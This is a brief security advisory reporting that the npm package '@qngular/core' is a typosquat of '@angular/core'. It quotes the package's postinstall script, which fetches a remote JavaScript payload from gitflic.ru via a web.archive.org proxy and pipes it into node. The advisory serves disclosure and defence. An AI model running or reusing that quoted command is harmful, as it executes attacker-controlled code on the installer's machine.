Malicious code in @qngular/core (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e83437986b94381cddff72267bc53907d980e1b14dbfef9123aa47f5ed664664) Package `@qngular/core` is a one-character typosquat of `@angular/core` and copies the real package's description, author, and repository metadata. The `postinstall` lifecycle script in package.json runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an opaque, non-publisher-controlled JavaScript payload from a third-party host (gitflic.ru via a web.archive.org proxy) and piping it unverified into `node`. This executes attacker-controlled code on the installer's machine during `npm install`.
